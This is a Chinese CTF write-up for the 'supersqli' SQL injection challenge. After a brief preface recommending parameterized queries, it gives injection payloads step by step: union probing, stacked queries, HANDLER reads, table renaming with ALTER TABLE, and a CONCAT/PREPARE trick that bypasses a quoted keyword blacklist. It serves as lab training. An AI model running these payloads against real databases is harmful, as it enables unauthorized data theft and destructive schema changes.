前言
SQL注入攻击是一种常见的网络攻击方式,攻击者通过在用户输入的数据中插入恶意代码,从而获取数据库中的敏感信息或者执行未授权的操作。为了防范SQL注入攻击,我们应该在应用程序中使用参数化查询这样的安全措施来防范这种攻击。同时,我们还应该加强数据过滤和输入验证,以确保用户输入的数据符合预期的格式和类型。
一、supersqli
1.题目
2.答题
输入1’发现不回显,然后1’ #显示正常,判断是存在sql注入了
order by 2的时候是正常回显了,order by 3就出错了,只有2个字段,这时候用1' union select 1,2,#
进行联合查询,发现关键字被正则过滤return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
好像是类似黑名单,这些词会被替换,那没办法了,我们就用堆叠注入
尝试堆叠注入-1';show tables #
查询两张表名字段
-1';show columns from `1919810931114514` #
-1';show columns from `words` #
2.1 handler查询法
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#
2.2 修改原查询法
//修改表
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
//在查询
1' or 1=1#
知道原查询就在表words的字段id里头了
将放着flag的表1919810931114514名字改成words
alter table `1919810931114514` rename to words
表里头字段名flag改成id
2.3 预编译绕过法
-1';set @sql = CONCAT('sele','ct flag from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#